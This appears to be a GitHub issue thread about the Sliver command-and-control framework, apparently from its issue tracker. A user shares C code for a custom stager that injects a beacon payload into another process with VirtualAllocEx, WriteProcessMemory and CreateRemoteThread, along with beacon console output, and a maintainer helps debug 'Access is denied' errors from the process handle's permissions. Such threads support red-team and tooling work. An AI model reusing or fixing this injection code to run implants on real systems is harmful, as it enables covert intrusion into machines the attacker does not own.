Access is denied, if inject in other process.

[Jiw0cha]

if use custom stager inject with:

int Inject(HANDLE hProc, unsigned char* payload, unsigned int payload_len) {

	LPVOID pRemoteCode = NULL;
	HANDLE hThread = NULL;


	pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
	WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T*)NULL);

	hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL);

	if (hThread != NULL) {
		WaitForSingleObject(hThread, 500);
		CloseHandle(hThread);
		return 0;
	}
	return -1;
}

this broken, if use hProc = 0 worked.

And beacon "broken":

sliver (ATOMIC_POPSICLE) > ps

[*] Tasked beacon ATOMIC_POPSICLE (5c3dc669)

[+] ATOMIC_POPSICLE completed task 5c3dc669

 Pid    Ppid   Owner                  Arch     Executable         Session 
====== ====== ====================== ======== ================== =========
 0      0                                      [System Process]           
 5876   760    DESKTOP-NP222TT\user   x86_64   Calculator.exe             

Only one pid...

sliver (ATOMIC_POPSICLE) > interactive 

[*] Using beacon's active C2 endpoint: mtls://$ip:443
[*] Tasked beacon ATOMIC_POPSICLE (6ceecf1c)

[*] Session e87d0cc3 ATOMIC_POPSICLE - $ip:52593 (DESKTOP-NP222TT) - windows/amd64 - Wed, 16 Aug 2023 19:20:40 +10

sliver (ATOMIC_POPSICLE) > use e87d0cc3

[*] Active session ATOMIC_POPSICLE (e87d0cc3-2f00-4e0f-8b3e-e6709403001f)

sliver (ATOMIC_POPSICLE) > execute notepad

[!] rpc error: code = Unknown desc = open NUL: Access is denied.

May be this normal?

[rkervella]

How do you get your hProc value in the first place? It's likely an issue with the handle permissions.

[Jiw0cha]

How do you get your hProc value in the first place? It's likely an issue with the handle permissions.

Use OpenProcess:

hProc = OpenProcess(
  PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
  PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
  FALSE, (DWORD)pid
);

[rkervella]

You're missing PROCESS_CREATE_PROCESS, so you can't create subprocesses, hence the "Access is denied" error. See https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights for more info.

[Jiw0cha]

You're missing PROCESS_CREATE_PROCESS, so you can't create subprocesses, hence the "Access is denied" error. See https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights for more info.

I add this flag PROCESS_CREATE_PROCESS, no luck, broken beacons.

hProc = OpenProcess(
  PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
  PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_CREATE_PROCESS,
  FALSE, (DWORD)pid
);

[rkervella]

As a sanity check, can you try with PROCESS_ALL_ACCESS to make sure it's not a perm issue on the handle?

[Jiw0cha]

PROCESS_ALL_ACCESS

I tried it with this flag too - same behavior.

[rkervella]

Just saw this

[!] rpc error: code = Unknown desc = open NUL: Access is denied.

Do you check your hProc value before using? It seems like OpenProcess failed, and returned NULL, see https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess#return-value

[Jiw0cha]

Do you check your hProc value before using?

Yes of course, i check if (hproc != NULL) {...} . I don't think it's gonna work if hproc == NULL